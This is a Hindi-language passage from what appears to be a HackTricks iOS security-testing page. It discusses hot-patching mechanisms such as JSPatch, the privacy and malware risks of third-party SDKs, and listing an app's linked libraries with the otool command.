डेवलपर्स अपने ऐप के सभी इंस्टॉलेशन को तुरंत पैच कर सकते हैं बिना एप्लिकेशन को App Store में फिर से सबमिट किए और इसके स्वीकृत होने की प्रतीक्षा किए।
इसके लिए आमतौर पर JSPatch** का उपयोग किया जाता है।** लेकिन अन्य विकल्प भी हैं जैसे Siren और react-native-appstore-version-checker।
यह एक खतरनाक तंत्र है जिसे दुर्भावनापूर्ण तृतीय पक्ष SDK द्वारा दुरुपयोग किया जा सकता है, इसलिए यह अनुशंसा की जाती है कि स्वचालित अपडेटिंग के लिए कौन सा तरीका उपयोग किया जा रहा है (यदि कोई हो) की जांच करें और इसका परीक्षण करें। आप इस उद्देश्य के लिए ऐप का एक पिछला संस्करण डाउनलोड करने का प्रयास कर सकते हैं।

तृतीय पक्ष

3rd पार्टी SDKs के साथ एक महत्वपूर्ण चुनौती उनके कार्यात्मकताओं पर सूक्ष्म नियंत्रण की कमी है। डेवलपर्स के पास एक विकल्प होता है: या तो SDK को एकीकृत करें और इसकी सभी सुविधाओं को स्वीकार करें, जिसमें संभावित सुरक्षा कमजोरियाँ और गोपनीयता संबंधी चिंताएँ शामिल हैं, या इसके लाभों को पूरी तरह से छोड़ दें। अक्सर, डेवलपर्स इन SDKs में कमजोरियों को स्वयं पैच करने में असमर्थ होते हैं। इसके अलावा, जैसे-जैसे SDKs समुदाय में विश्वास प्राप्त करते हैं, कुछ में मैलवेयर शामिल हो सकता है।

तीसरे पक्ष के SDKs द्वारा प्रदान की जाने वाली सेवाओं में उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन, या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालाँकि, यह एक जोखिम प्रस्तुत करता है क्योंकि डेवलपर्स इन पुस्तकालयों द्वारा निष्पादित कोड के बारे में पूरी तरह से अवगत नहीं हो सकते हैं, जिससे संभावित गोपनीयता और सुरक्षा जोखिम हो सकते हैं। यह महत्वपूर्ण है कि तीसरे पक्ष की सेवाओं के साथ साझा की गई जानकारी को आवश्यकतानुसार सीमित किया जाए और यह सुनिश्चित किया जाए कि कोई संवेदनशील डेटा उजागर न हो।

तीसरे पक्ष की सेवाओं का कार्यान्वयन आमतौर पर दो रूपों में आता है: एक स्वतंत्र पुस्तकालय या एक पूर्ण SDK। उपयोगकर्ता की गोपनीयता की रक्षा के लिए, इन सेवाओं के साथ साझा किए गए किसी भी डेटा को गुमनाम किया जाना चाहिए ताकि व्यक्तिगत पहचान योग्य जानकारी (PII) का खुलासा न हो।

एक एप्लिकेशन द्वारा उपयोग की जाने वाली पुस्तकालयों की पहचान करने के लिए, otool कमांड का उपयोग किया जा सकता है। इस उपकरण को एप्लिकेशन और इसके द्वारा उपयोग की जाने वाली प्रत्येक साझा पुस्तकालय के खिलाफ चलाया जाना चाहिए ताकि अतिरिक्त पुस्तकालयों का पता लगाया जा सके।

bash

otool -L <application_path>

संदर्भ और अधिक संसाधन

tip

HackTricks का समर्थन करें

सदस्यता योजनाएँ देखें!
हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।